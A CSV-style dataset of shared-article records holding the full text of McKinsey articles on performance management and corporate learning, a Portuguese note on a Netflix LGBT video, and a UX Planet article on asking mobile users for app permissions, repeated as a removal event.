1464636879,CONTENT SHARED,-5238066650780855302,-8694104221113176052,8341372715370265189,,,,HTML,http://www.mckinsey.com/business-functions/organization/our-insights/ahead-of-the-curve-the-future-of-performance-management,Ahead of the curve: The future of performance management,"What happens after companies jettison traditional year-end evaluations? The worst-kept secret in companies has long been the fact that the yearly ritual of evaluating (and sometimes rating and ranking) the performance of employees epitomizes the absurdities of corporate life. Managers and staff alike too often view performance management as time consuming, excessively subjective, demotivating, and ultimately unhelpful. In these cases, it does little to improve the performance of employees. It may even undermine their performance as they struggle with ratings, worry about compensation, and try to make sense of performance feedback. These aren't new issues, but they have become increasingly blatant as jobs in many businesses have evolved over the past 15 years. More and more positions require employees with deeper expertise, more independent judgment, and better problem-solving skills. They are shouldering ever-greater responsibilities in their interactions with customers and business partners and creating value in ways that industrial-era performance-management systems struggle to identify. Soon enough, a ritual most executives say they dislike will be so outdated that it will resemble trying to conduct modern financial transactions with carrier pigeons. Yet nearly nine out of ten companies around the world continue not only to generate performance scores for employees but also to use them as the basis for compensation decisions. The problem that prevents managers' dissatisfaction with the process from actually changing it is uncertainty over what a revamped performance-management system ought to look like. If we jettison year-end evaluations-well, then what? Will employees just lean back? Will performance drop? And how will people be paid? Answers are emerging. Companies, such as GE and Microsoft, that long epitomized the ""stack and rank"" approach have been blowing up their annual systems for rating and evaluating employees and are instead testing new ideas that give them continual feedback and coaching. Netflix no longer measures its people against annual objectives, because its objectives have become more fluid and can change quite rapidly. Google transformed the way it compensates high performers at every level. Some tech companies, such as Atlassian, have automated many evaluation activities that managers elsewhere perform manually. The changes these and other companies are making are new, varied, and, in some instances, experimental. But patterns are beginning to emerge. Some companies are rethinking what constitutes employee performance by focusing specifically on individuals who are a step function away from average-at either the high or low end of performance-rather than trying to differentiate among the bulk of employees in the middle. Many companies are also collecting more objective performance data through systems that automate real-time analyses. Performance data are used less and less as a crude instrument for setting compensation. Indeed, some companies are severing the link between evaluation and compensation, at least for the majority of the workforce, while linking them ever more comprehensively at the high and low ends of performance. Better data back up a shift in emphasis from backward-looking evaluations to fact-based performance and development discussions, which are becoming frequent and as-needed rather than annual events. How these emerging patterns play out will vary, of course, from company to company. The pace of change will differ, too. Some companies may use multiple approaches to performance management, holding on to hardwired targets for sales teams, say, while shifting other functions or business units to new approaches. But change they must. Rethinking performance Most corporate performance-management systems don't work today, because they are rooted in models for specializing and continually optimizing discrete work tasks. These models date back more than a century, to Frederick W. Taylor. Over the next 100 years, performance-management systems evolved but did not change fundamentally. A measure like the number of pins produced in a single day could become a more sophisticated one, such as a balanced scorecard of key performance indicators (KPIs) that link back to overarching company goals. What began as a simple mechanistic principle acquired layers of complexity over the decades as companies tried to adapt industrial-era performance systems to ever-larger organizations and more complicated work. What was measured and weighted became ever more micro. Many companies struggle to monitor and measure a proliferation of individual employee KPIs-a development that has created two kinds of challenges. First, collecting accurate data for 15 to 20 individual indicators can be cumbersome and often generates inaccurate information. (In fact, many organizations ask employees to report these data themselves.) Second, a proliferation of indicators, often weighted by impact, produces immaterial KPIs and dilutes the focus of employees. We regularly encounter KPIs that account for less than 5 percent of an overall performance rating. Nonetheless, managers attempt to rate their employees as best they can. The ratings are then calibrated against one another and, if necessary, adjusted by distribution guidelines that are typically bell curves (Gaussian distribution curves). These guidelines assume that the vast majority of employees cluster around the mean and meet expectations, while smaller numbers over- and underperform. This model typically manifests itself in three-, five-, or seven point rating scales, which are sometimes numbered and sometimes labeled: for instance, ""meets expectations,"" ""exceeds expectations,"" ""far exceeds expectations,"" and so on. This logic appeals intuitively (""aren't the majority of people average by definition?"") and helps companies distribute their compensation (""most people get average pay; overperformers get a bit more, underperformers a bit less""). But bell curves may not accurately reflect the reality. Research suggests that talent-performance profiles in many areas-such as business, sports, the arts, and academia-look more like power-law distributions. Sometimes referred to as Pareto curves, these patterns resemble a hockey stick on a graph. (They got their name from the work of Vilfredo Pareto, who more than a century ago observed, among other things, that 20 percent of the pods in his garden contained 80 percent of the peas.) One 2012 study concluded that the top 5 percent of workers in most companies outperform average ones by 400 percent. (Industries characterized by high manual labor and low technology use are exceptions to the rule. ) The sample curve emerging from this research would suggest that 10 to 20 percent of employees, at most, make an outsized contribution. Google has said that this research, in part, lies behind a lot of its talent practices and its decision to pay outsized rewards to retain top performers: compensation for two people doing the same work can vary by as much as 500 percent. Google wants to keep its top employees from defecting and believes that compensation can be a ""lock-in""; star performers at junior levels of the company can make more than average ones at senior levels. Identifying and nurturing truly distinctive people is a key priority given their disproportionate impact. Companies weighing the risks and rewards of paying unevenly in this way should bear in mind the bigger news about power-law distributions: what they mean for the great majority of employees. For those who meet expectations but are not exceptional, attempts to determine who is a shade better or worse yield meaningless information for managers and do little to improve performance. Getting rid of ratings-which demotivate and irritate employees, as researchers Bob Sutton and Jeff Pfeiffer have shown-makes sense. Many companies, such as GE, the Gap, and Adobe Systems, have done just that in a bid to improve performance. They've dropped ratings, rankings, and annual reviews, practices that GE, for one, had developed into a fine art in previous decades. What these companies want to build-objectives that are more fluid and changeable than annual goals, frequent feedback discussions rather than annual or semiannual ones, forward-looking coaching for development rather than backward-focused rating and ranking, a greater emphasis on teams than on individuals-looks like the exact opposite of what they are abandoning. The point is that such companies now think it's a fool's errand to identify and quantify shades of differential performance among the majority of employees, who do a good job but are not among the few stars. Identifying clear overperformers and underperformers is important, but conducting annual ratings rituals based on the bell curve will not develop the workforce overall. Instead, by getting rid of bureaucratic annual-review processes-and the behavior related to them-companies can focus on getting much higher levels of performance out of many more of their employees. Getting data that matter Good data are crucial to the new processes, not least because so many employees think that the current evaluation processes are full of subjectivity. Rather than relying on a once-a-year, inexact analysis of individuals, companies can get better information by using systems that crowdsource and collect data on the performance of people and teams. Continually crowd-sourcing performance data throughout the year yields even better insights. For instance, Zalando, a leading European e-retailer, is currently implementing a real-time tool that crowd-sources both structured and unstructured performance feedback from meetings, problem-solving sessions, completed projects, launches, and campaigns. Employees can request feedback from supervisors, colleagues, and internal ""customers"" through a real-time online app that lets people provide both positive and more critical comments about each other in a playful and engaging way. The system then weights responses by how much exposure the provider has to the requestor. For every kind of behavior that employees seek or provide feedback about, the system-a structured, easy-to-use tool-prompts a list of questions that can be answered intuitively by moving a slider on the touchscreen of a mobile device. Because the data are collected in real time, they can be more accurate than annual reviews, when colleagues and supervisors must strain to remember details about the people they evaluate. Employees at GE now use a similar tool, called PD@GE, which helps them and their managers to keep track of the company's performance objectives even as they shift throughout the year. The tool facilitates requests for feedback and keeps a record of when it is received. (GE is also changing the language of feedback to emphasize coaching and development rather than criticism.) GE employees get both quantitative and qualitative information about their performance, so they can readjust rapidly throughout the year. Crucially, the technology does not replace performance conversations between managers and employees. Instead, these conversations center around the observations of peers, managers, and the employees themselves about what did and didn't help to deliver results. GE hopes to move most of its employees to this new system by the end of 2016. In other words, tools can automate activities not just to free up time that managers and employees now spend inefficiently gathering information on performance but also transform what feedback is meant to achieve. The quality of the data improve, too. Because they are collected in real time from fresh performance events, employees find the information more credible, while managers can draw on real-world evidence for more meaningful coaching dialogues. As companies automate activities and add machine learning and artificial intelligence to the mix, the quality of the data will improve exponentially, and they will be collected much more efficiently. Finally, performance-development tools can also identify the top performers more accurately, though everyone already knows subjectively who they are. At the end of the year, Zalando's tool will automatically propose the top 10 percent by analyzing the aggregated feedback data. Managers could adjust the size of the pool of top performers to capture, say, the best 8 or 12 percent of employees. The tool will calculate the ""cliff"" where performance is a step function away from that of the rest of the population. Managers will therefore have a fact-based, objective way to identify truly distinctive employees. Companies can also use such systems to identify those who have genuinely fallen behind. Relatively easy and inexpensive to build (or to buy and customize), such performance-development applications are promising-but challenging (see the exhibit for a generic illustration of such an app). Employees could attempt to game systems to land a spot among the top 10 percent or to ensure that a rival does not. (Artificial intelligence and semantic analysis might conceivably distinguish genuine from manicured performance feedback, and raters could be compared with others to detect cheating.) Some employees may also feel that Big Brother is watching (and evaluating) their every move. These and other real-life challenges must be addressed as more and more companies adopt such tools. Take the anxiety out of compensation The next step companies can take to move performance management from the industrial to the digital era is to take the anxiety out of compensation. But this move requires managers to make some counterintuitive decisions. Conventional wisdom links performance evaluations, ratings, and compensation. This seems completely appropriate: most people think that stronger performance deserves more pay, weaker performance less. To meet these expectations, mean performance levels would be pegged around the market average. Overperformance would beat the market rate, to attract and retain top talent. And poor scores would bring employees below the market average, to provide a disincentive for underperformance. This logic is appealing and consistent with the Gaussian view. In fact, the distribution guide, with its target percentages across different ratings, gives companies a simple template for calculating differentiated pay while helping them to stay within an overall compensation budget. No doubt, this is one of the reasons for the prevalence of the Gaussian view. This approach, however, has a number of problems. First, the cart sometimes goes before the horse: managers use desired compensation distributions to reverse engineer ratings. To pay Tom x and Maggie y , the evaluator must find that Tom exceeds expectations that Maggie merely meets. That kind of reverse engineering of ratings from a priori pay decisions often plays out over several performance cycles and can lead to cynical outcomes-""last year, I looked out for you; this year, Maggie, you will have to take a hit for the team."" These practices, more than flaws in the Gaussian concept itself, discredit the performance system and often drown out valuable feedback. They breed cynicism, demotivate employees, and can make them combative, not collaborative. Second, linking performance ratings and compensation in this way ignores recent findings in the cognitive sciences and behavioral economics. The research of Nobel laureate Daniel Kahneman and others suggests that employees may worry excessively about the pay implications of even small differences in ratings, so that the fear of potential losses, however small, should influence behavior twice as much as potential gains do. Although this idea is counterintuitive, linking performance with pay can demotivate employees even if the link produces only small net variances in compensation. The art and science of well-being at work Read the article Since only a few employees are standouts, it makes little sense to risk demotivating the broad majority by linking pay and performance. More and more technology companies, for instance, have done away with performance-related bonuses. Instead, they offer a competitive base salary and peg bonuses (sometimes paid in shares or share options) to the company's overall performance. Employees are free to focus on doing great work, to develop, and even to make mistakes-without having to worry about the implications of marginal rating differences on their compensation. However, most of these companies pay out special rewards, including discretionary pay, to truly outstanding performers: ""10x coders get 10x pay"" is the common way this principle is framed. Still, companies can remove a major driver of anxiety for the broad majority of employees. Finally, researchers such as Dan Pink say that the things which really motivate people to perform well are feelings like autonomy, mastery, and purpose. In our experience, these increase as workers gain access to assets, priority projects, and customers and receive displays of loyalty and recognition. Snapping the link between performance and compensation allows companies to worry less about tracking, rating, and their consequences and more about building capabilities and inspiring employees to stretch their skills and aptitudes. A large Middle Eastern technology company recently conducted a thorough study of what motivates its employees, looking at combinations of more than 100 variables to understand what fired up the best people. Variables studied included multiple kinds of compensation, where employees worked, the size of teams, tenure, and performance ratings from colleagues and managers. The company found that meaning -seeing purpose and value in work-was the single most important factor, accounting for 50 percent of all movement in the motivation score. It wasn't compensation. In some cases, higher-paid staff were markedly less motivated than others. The company halted a plan to boost compensation by $100 million to match its competitors. Leaders shouldn't, however, delude themselves into thinking that cutting costs is another reason for decoupling compensation from performance evaluations. Many of the companies that have moved in this direction use generous stock awards that make employees up and down the line feel not only well compensated but also like owners. Companies lacking shares as currency may find it harder to make the numbers work unless they can materially boost corporate performance. Coaching at scale to get the best from the most The growing need for companies to inspire and motivate performance makes it critical to innovate in coaching-and to do so at scale. Without great and frequent coaching, it's difficult to set goals flexibly and often, to help employees stretch their jobs, or to give people greater responsibility and autonomy while demanding more expertise and judgment from them. Many companies and experts are exploring how to improve coaching-a topic of the moment. Experts say three practices that appear to deliver results are to change the language of feedback (as GE is doing); to provide constant, crowdsourced vignettes of what worked and what didn't (as GE and Zalando are); and to focus performance discussions more on what's needed for the future than what happened in the past. Concrete vignettes, made available just in time by handy tools-and a shared vocabulary for feedback-provide a helpful scaffolding. But managers unquestionably face a long learning curve for effective coaching as work continues to change and automation and reengineering configure job positions and work flows in new ways. Companies in high-performing sectors, such as technology, finance, and media, are ahead of the curve in adapting to the future of digital work. So it's no surprise that organizations in these sectors are pioneering the transformation of performance management. More companies will need to follow-quickly. They ought to shed old models of calibrated employee ratings based on normal distributions and liberate large parts of the workforce to focus on drivers of motivation stronger than incremental changes in pay. Meanwhile, companies still have to keep a keen eye on employees who are truly outstanding and on those who struggle. It's time to explore tools to crowdsource a rich fact base of performance observations. Ironically, companies like GE are using technology to democratize and rehumanize processes that have become mechanistic and bureaucratic. Others must follow. About the author(s) Boris Ewenstein, Bryan Hancock, and Asmus Komm are expert principals in McKinsey's Johannesburg, Atlanta, and Hamburg offices, respectively. The authors would like to thank the People & Organization team at Zalando SE for their valuable collaboration and contributions to this article.",en
1464637197,CONTENT SHARED,-7174595923544719736,-8694104221113176052,8341372715370265189,,,,HTML,http://www.mckinsey.com/business-functions/organization/our-insights/learning-at-the-speed-of-business,Learning at the speed of business,"What digital means for the next generation of corporate academies. Corporate universities are entering their second century, just as the businesses that rely on them are transforming themselves for the digital age. When pioneers such as General Motors and General Electric began offering standardized in-house training programs, about 100 years ago, they focused on imparting lower-level, day-to-day skills. Back then, it may have seemed fanciful to imagine the full-fledged academies that would emerge in later decades. But emerge they did: GE's Crotonville leadership center, in 1956; McDonald's Hamburger University, in 1961; and today's true learning institutions for global corporations such as Apple, Boeing, and Danone. Now a new phase is unfolding at these organizations, which must grapple with tools and platforms that facilitate knowledge sharing and employee interactions on an almost limitless scale, challenging-and sometimes appearing to sweep away-the old brick-and-mortar model (exhibit). Where the findings lead In 2014, we queried some 1,500 global executives about capability building. Last year, we sharpened our focus, surveying approximately 120 senior learning-and-development (L&D) officers to gain a more in-depth understanding of the present state and probable trajectory of corporate academies. We also conducted multiple benchmarking visits at best-in-class organizations and interviewed more than a dozen chief learning officers (CLOs) with experience at some of the largest, most successful companies around the world. Our findings derive, moreover, from insights we've gleaned through practical experience with corporate academies globally. That includes McKinsey Academy, this firm's digital offering, which serves not only our consultants but also our clients, to help develop leaders and build functional capabilities. The great majority of our respondents expect corporate learning to change significantly within the next three years-both the capabilities imparted and the new agility required to match the faster pace of business. Most also acknowledge that these developments will probably have a material cost: over that period, more than 60 percent of the respondents' companies plan to increase their learning-and-development spending and 66 percent to increase the number of formal-learning hours per employee. What's worrying is the level of dissatisfaction with the status quo. Only 57 percent of the respondents believe that their academies are ""very or fully aligned"" with corporate priorities. Even fewer (52 percent) reported that these institutions enable their companies to meet strategic objectives. About 40 percent of CLOs say that their initiatives are either ""ineffective"" or ""neither effective nor ineffective"" in assessing the capabilities and gaps of employees. These shortcomings are most pronounced among midlevel managers and senior leaders-reflecting, in our experience, how difficult it is to instill new attitudes, particularly at the higher levels of a company. Many respondents also think that these organizations don't sufficiently deploy the full array of learning tools, methods, and approaches now available. They report that classroom training, experiential learning, and the on-the-job application of skills were in regular use. But less than half of the organizations avail themselves of peer and self-directed learning, educational initiatives that take participants outside their comfort zones, or risk-free learning environments. About one-third of the respondents reported that their organizations lack systems to share learning among employees. And the surveyed CLOs overwhelmingly think that their organizations' digital capabilities are too low. The digital learning opportunity Digitization offers a huge opportunity to transform learning and address some of its current deficiencies, though it bears noting that digital learning tools are not new. What is new-and disruptively so-is the fact that the content of learning is moving to the cloud, becoming accessible across multiple devices and teaching environments and often being generated, shared, and continually updated by users themselves. Unsurprisingly, our research indicates that younger employees-millennials and postmillennials, or Generation Z-feel the greatest level of comfort with digitization. At China Fortune Land Development Company (CFLD), Han Qing, the head of CFLD University, explains that ""deploying digital learning and using technology is part of our strategy because there are more and more young people joining the workforce. They are used to mobile phones and PCs. And they demand more digital learning."" Integrated cloud-based platforms enable more than just new computer programs or nifty smartphone apps. Sophisticated organizations are now expanding their use of cloud-based learning to run such personalized applications as MOOCs (massive open online courses), SPOCs (small private online courses), instructional videos, learning games, e-coaching, virtual classrooms, online performance support, and online simulations. One global Asian original design manufacturer we know offers a digital 3-D learning environment at its virtual model factory. This system lets employee participants ""see"" and ""feel"" complex equipment deployed at many of the company's plants. Danone-long committed to encouraging professional and individual development through means such as more than ten learning facilities around the world-successfully rolled out its cloud-based Danone Campus 2.0 in 2014. Easily accessible and continually updated, this innovative approach to learning involves Danone employees in their own development by providing a digital, user-friendly space to share best practices, to highlight the latest internal and external knowledge, and to foster a culture of collaborative learning and networking. Unleashing the power of collective intelligence is especially critical to the digital-learning transformation. Increasingly, the learner and the learner's inner circle-colleagues who send each other articles or recommend content through a central online-learning system-act as curators. In large global companies, HR or L&D can't own (or even share ownership of) detailed knowledge about the existing and emerging skills a diverse workforce must have to improve the performance of each business. But employees themselves can be empowered to share knowledge across the company, an approach that also helps solve the perennial problem of who will be the trainer. When training is automated, consistency improves and C-suite messages go straight to the front line, avoiding potentially distorted ""translations"" passed on at a company's middle levels. Flattening the knowledge hierarchy not only sharpens the messaging and broadens the pool of available content but also enables faster delivery and, potentially, more sophisticated performance measurement. We expect L&D and HR personnel to become less the authors of what gets taught in digital formats and more the facilitators who ensure that employee-generated content can be seamlessly dispersed throughout the company. Our respondents rated their companies highly on designing and delivering learning programs-more than 75 percent said they were effective on both counts. But digitizing education effectively requires the additional, more technical capabilities that a wired-in world demands. For make no mistake, it really is a new world, learning at the speed of business. Since there is less need to wait for scheduled training sessions, ""pull"" can complement ""push,"" as employees empowered to upskill and reskill themselves log on to user-friendly learning platforms. Much as Amazon makes books instantly available anywhere, any time, on its Kindle and other devices, the digitization of learning can provide unprecedented access to relevant knowledge, a lot of it at relatively low or even no cost. The impact of today's best systems and tools can be just as profound as Amazon's, even if the results aren't always precisely measurable. As an executive at one leading global company noted, investing in modern learning-and-development platforms is so fundamental that it transcends simple metrics-akin to building a house and then trying to measure the ROI of the plumbing. Despite the ability of digital platforms to make the collection, analysis, and scoring of data more sophisticated, the full measure of impact can't be captured to the decimal. The enduring case for (at least some) bricks and mortar Similarly, for all of the notable advances that digitization promises, comprehensive learning cannot be based on the cloud alone. Companies still have compelling reasons to locate significant elements of corporate learning in tangible, specialized educational facilities-increasingly, with ergonomically designed furniture, plenty of light, and interior design geared specifically to learning. In our experience, any successful educational program allows employees to unplug and enjoy a respite from an always-on, 24/7 tempo. The importance of this physical separation from the daily grind should not be underestimated. If employees have no opportunity to step away from their working environments, the same old behavior, for good and ill, is constantly reinforced, and the chance for more reflective, committed learning is lost. Harvard professor Ronald Heifetz calls this a ""balcony moment"": the imperative for leaders to leave the ""dance floor"" periodically and reflect on the patterns and movement below. Dedicated learning facilities also befit the gravitas of a professional function. However virtual business may now seem, we still belong to a physical world; even Amazon recently established its own physical bookstores. It's worth noting, as well, that millennials benefit from high-touch learning no less than workers from previous generations do. Younger employees may spend more time online and be more comfortable with mobile applications. But they should not be forced-and, in our experience, don't desire-to engage solely with digital learning tools. Indeed, corporate academies provide an unparalleled opportunity for employees to share experiences with fellow participants and to connect with company leaders. Many best-practice corporate academies deploy their top executives as visiting faculty; GE, for instance, has long used its most senior leaders in many learning programs. A major Asian oil and gas company we know includes the number of days senior executives spend in such teaching capacities in their performance evaluations. The value of this interaction is particularly high for companies that operate across businesses and geographies. That said, learning is an expertise, no less than disciplines such as marketing or finance. It's therefore critical to maintain a core learning-and-development team with professionals in that field. We've observed that too many L&D organizations are led by employees from other company functions who ""graduate"" to managing L&D a few years short of retirement. Companies that are serious about modernizing their skill-building efforts as digitization transforms corporate learning must attract and develop leaders with deep experience in this unique function. Some global organizations are even sending senior personnel to a new executive doctoral program, launched by the University of Pennsylvania, designed specifically to prepare CLOs and other senior executives for success as educational and talent-development leaders. Winning hearts and minds in the 21st century Read the article Tying it all together Ultimately, we believe, the future of corporate academies lies in blended learning, which combines classroom forums, in-field applications, personal and results-oriented feedback, and online engagement. There is no magic number for allocating time between digital and in-person learning; different industries, and different companies within them, must determine the mix that makes the most sense for their circumstances and capability-development priorities. Connectivity allows organizations to meet many of the most important learning objectives: avoiding disruptions in day-to-day business, delivering content consistently (as opposed to in-person training with different facilitators), and sustaining learning for employees (who review the content after the end of each lesson and then update and share their new knowledge in real time). It's critical, too, for an organization to express its commitment from the very highest levels. Just as the digital and physical elements of learning must fit together in a rational way, L&D should collaborate with the C-suite to ensure general agreement on educational priorities and the required funding. ""If L&D is not a strategic partner for the important initiatives of the company,"" noted the CLO of one European telecom we interviewed, ""you're just working reactively with the other businesses. In our company, there is a strong alignment between learning and our overall business strategy. But that's because of a strong push from the CEO."" Farsighted corporate leaders understand the value proposition. When critical training programs became mandatory, a leading financial institution we are familiar with boosted its level of engagement and morale and halved its absentee rate for key positions. Across many dimensions, the effects of corporate learning-especially in the digital age-will find their way to the bottom line. Corporate academies are poised for change on the order of magnitude experienced a century ago, when they developed from low-level workshops into mature institutions. The disruption now underway is remarkable, representing a transformation even when compared to what had been standard practices at the end of the 20th century, when the focus was largely on classroom-based learning. Achieving the next level of change-akin to the revolution that Amazon brought to retailing-will require a nimble balance between digital and physical platforms, cultural messaging and technical content, and real-time and actively shared learning. The sudden emergence of a more digitally engaged generation and the stepped-up pace of technological change suggest that time is of the essence. Successfully navigating the coming transformation will require not just a shift in tools and approaches but also an agile, engaged organization. About the author(s) Richard Benson-Armer is a director in McKinsey's Stamford office, and Arne Gast is a principal in the Kuala Lumpur office. Nick van Dam, a principal in the Amsterdam office, is McKinsey's global chief learning officer. The authors wish to thank Jacqueline Brassey, Andy Moffit, Nicolai Nielsen, and Silke-Susann Otto for their contributions to this article.",en
1464638642,CONTENT SHARED,3998743085432844199,6735372008307093370,-2783459276460423030,,,,HTML,http://www.b9.com.br/65126/entretenimento/netflix-emociona-com-video-destacando-personagens-lgbt/,Netflix emociona com vídeo destacando personagens LGBT,"Um dia antes da Parada LGBT que acontece em São Paulo, a Netflix Brasil publicou um vídeo intitulado ""Veja além da ficção"". Ele destaca alguns dos personagens LGBT nas suas séries, como Sense8 , Orange Is The New Black e Unbreakable Kimmy Schmidt . Ao mesmo tempo, o vídeo mostra também como cada um desses personagens pode muito bem representar pessoas de verdade na vida real. Ao final do vídeo, e na sua descrição, lemos apenas ""Representar essas pessoas é um orgulho"". Apenas assista. Vale a pena.",pt
1464643340,CONTENT SHARED,5322532051893153382,-9016528795238256703,1649799965743210303,,,,HTML,https://uxplanet.org/mobile-ux-design-the-right-ways-to-ask-users-for-permissions-6cdd9ab25c27?gi=645560904287,Mobile UX Design: The Right Ways to Ask Users for Permissions - UX Planet,"Mobile UX Design: The Right Ways to Ask Users for Permissions Did you know that the average app loses 80% of its daily active users within the first 3 days post-install? Most people download an app, open it once, and delete it. This happens because users try out a lot of apps but decide which ones they want to delete within the first few days. Are these user behaviors a result of poorly made apps? Not always, but the first interaction with the app plays a key role in creating overall impression (either good or bad). And when users open a new app the last thing they want to see is multiple popups in a row asking for permissions: App Would Like to Access Your Locations App Would Like Access Your Contacts App Would Like to Access Your Camera This action has a very negative impact on user experience and usually leads to the appbeing discarded. The app needs to be able to keep in touch with users before asking for permissions, in order to retain engagement. In this article will get you on the right track by helping you avoid common pitfalls in your permission request logic. Build a Strategy When it comes to requesting permission, the worst thing an app can do is to bombard users with permission requests without any notice or explanation. Both asking your users for permission too early or for too many things at ones are common mistakes. And yet, many apps still do that - right up front, as the first thing the user sees when opening the app. For example, Inbox by Gmail asks for permissions even before its onboarding tour, with no additional information or context. When you send permissions requests, you expect all users to accept the request. In order to achieve this goal, your should build a permissions strategy . Permission strategy depends on the clarity and importance of the permission type you are requesting. Critical permissions should be requested up-front, while secondary permissions may be requested in-context. When to Ask The User One of the biggest factors that determines whether users accept or deny your requests is when they occur. A simple rule: Don't ask a user for access until you really need it. Ask Up-front Only For Critical Permissions For many apps, not getting access to data can change the entire user experience. For example, if an app depends on SMS service, declining access to the service makes the app useless. Luckily, users expect a messaging app to request SMS permissions, so requesting it up-front makes sense. When more than one permission is needed for a feature to work, a sk for those permissions only and nothing extra . Takeaway: Make sure that user are clearly understands what the app does (based on app's description or previous familiar experience) and ask up-front only critical permissions which user expect the app to request. Ask For Permissions In-context In most cases, if a new user experience begins with a set of permissions requests, you may be missing a critical opportunity to engage users . Apps should ask for permissions in context and communicate the value the access will provide. Because once users are engaged, they could be more likely to accept your requests. Takeaway: Users are more likely to grant permission if asked during a relevant task. How To Ask The User Apps should clarify why each permission request is needed, either through the feature name or an explanation provided. Remember, if you want to get a Yes answer, you have to ask nicely . A simple rule: Make sure it's crystal clear for users what they'll get in return for accepting the request. Benefit Explanation Permissions that are less clear should provide education about what the permission involves. If your app has a walkthrough, use it to explain what your app does and why unexpected permissions will be requested. Explaining a permission in context is another well-done example - it helps gauge user interest and improve comprehension of the permission. Try to explain to a user the benefits they'll receive by giving the app access. Priming During The Request You can do this by providing a background image that explains the permission request. Foursquare primes users by providing a background image that explains why the app needs that particular permission. ""Primer"" Message Before Actual Permission Request You can only trigger iOS default permission request once per feature. The worst possible thing is for a user to deny permission at the system level, because reversing that decision in iOS is very complicated. In most cases, it's better to ""prime"" your users to accept requests before the actual iOS permission request screen appears. Cluster is a good example of priming before the request. Cluster's flow includes a context-building screen, a primer , and then finally the permission request. Using pre-permissions dialogs made the ""Don't Allow"" problem for Cluster almost disappear. Ask In Context of Action User-triggered dialog works even better that context-building screen, because users are expecting the request and more likely to allow a permission when they want to use the feature it enables. Wait until a feature is invoked to request permission. When the user taps a feature like the camera in Cluster app, that triggers the request for photo permissions. How To Deal With Denied Permissions Because denying permissions may prevent a feature from working as intended, whenever a permission is denied it should be explained to the user. A simple rule: You should provide feedback whenever a permission is denied. Critical Permissions If the app can no longer run because a critical permission has been denied, explain why that permission must be allowed and offer a link to open Settings so the user can allow it. Below is an example of Google Hangouts screen that explains that a permission is needed for an app to function. Conclusion Clearly every app is different, but you should thinking about when the user would need access to different parts of their phone and data, and making sure they expect to be asked. Improving the user experience is an ongoing experience. Don't miss the opportunity to prepare your user to accept permissions! Test the each case to see what works best for you. Thank you!",en
1464643366,CONTENT REMOVED,5322532051893153382,-9016528795238256703,1649799965743210303,,,,HTML,https://uxplanet.org/mobile-ux-design-the-right-ways-to-ask-users-for-permissions-6cdd9ab25c27?gi=645560904287,Mobile UX Design: The Right Ways to Ask Users for Permissions - UX Planet,"Mobile UX Design: The Right Ways to Ask Users for Permissions Did you know that the average app loses 80% of its daily active users within the first 3 days post-install? Most people download an app, open it once, and delete it. This happens because users try out a lot of apps but decide which ones they want to delete within the first few days. Are these user behaviors a result of poorly made apps? Not always, but the first interaction with the app plays a key role in creating overall impression (either good or bad). And when users open a new app the last thing they want to see is multiple popups in a row asking for permissions: App Would Like to Access Your Locations App Would Like Access Your Contacts App Would Like to Access Your Camera This action has a very negative impact on user experience and usually leads to the appbeing discarded. The app needs to be able to keep in touch with users before asking for permissions, in order to retain engagement. In this article will get you on the right track by helping you avoid common pitfalls in your permission request logic. Build a Strategy When it comes to requesting permission, the worst thing an app can do is to bombard users with permission requests without any notice or explanation. Both asking your users for permission too early or for too many things at ones are common mistakes. And yet, many apps still do that - right up front, as the first thing the user sees when opening the app. For example, Inbox by Gmail asks for permissions even before its onboarding tour, with no additional information or context. When you send permissions requests, you expect all users to accept the request. In order to achieve this goal, your should build a permissions strategy . Permission strategy depends on the clarity and importance of the permission type you are requesting. Critical permissions should be requested up-front, while secondary permissions may be requested in-context. When to Ask The User One of the biggest factors that determines whether users accept or deny your requests is when they occur. A simple rule: Don't ask a user for access until you really need it. Ask Up-front Only For Critical Permissions For many apps, not getting access to data can change the entire user experience. For example, if an app depends on SMS service, declining access to the service makes the app useless. Luckily, users expect a messaging app to request SMS permissions, so requesting it up-front makes sense. When more than one permission is needed for a feature to work, a sk for those permissions only and nothing extra . Takeaway: Make sure that user are clearly understands what the app does (based on app's description or previous familiar experience) and ask up-front only critical permissions which user expect the app to request. Ask For Permissions In-context In most cases, if a new user experience begins with a set of permissions requests, you may be missing a critical opportunity to engage users . Apps should ask for permissions in context and communicate the value the access will provide. Because once users are engaged, they could be more likely to accept your requests. Takeaway: Users are more likely to grant permission if asked during a relevant task. How To Ask The User Apps should clarify why each permission request is needed, either through the feature name or an explanation provided. Remember, if you want to get a Yes answer, you have to ask nicely . A simple rule: Make sure it's crystal clear for users what they'll get in return for accepting the request. Benefit Explanation Permissions that are less clear should provide education about what the permission involves. If your app has a walkthrough, use it to explain what your app does and why unexpected permissions will be requested. Explaining a permission in context is another well-done example - it helps gauge user interest and improve comprehension of the permission. Try to explain to a user the benefits they'll receive by giving the app access. Priming During The Request You can do this by providing a background image that explains the permission request. Foursquare primes users by providing a background image that explains why the app needs that particular permission. ""Primer"" Message Before Actual Permission Request You can only trigger iOS default permission request once per feature. The worst possible thing is for a user to deny permission at the system level, because reversing that decision in iOS is very complicated. In most cases, it's better to ""prime"" your users to accept requests before the actual iOS permission request screen appears. Cluster is a good example of priming before the request. Cluster's flow includes a context-building screen, a primer , and then finally the permission request. Using pre-permissions dialogs made the ""Don't Allow"" problem for Cluster almost disappear. Ask In Context of Action User-triggered dialog works even better that context-building screen, because users are expecting the request and more likely to allow a permission when they want to use the feature it enables. Wait until a feature is invoked to request permission. When the user taps a feature like the camera in Cluster app, that triggers the request for photo permissions. How To Deal With Denied Permissions Because denying permissions may prevent a feature from working as intended, whenever a permission is denied it should be explained to the user. A simple rule: You should provide feedback whenever a permission is denied. Critical Permissions If the app can no longer run because a critical permission has been denied, explain why that permission must be allowed and offer a link to open Settings so the user can allow it. Below is an example of Google Hangouts screen that explains that a permission is needed for an app to function. Conclusion Clearly every app is different, but you should thinking about when the user would need access to different parts of their phone and data, and making sure they expect to be asked. Improving the user experience is an ongoing experience. Don't miss the opportunity to prepare your user to accept permissions! Test the each case to see what works best for you. Thank you!",en
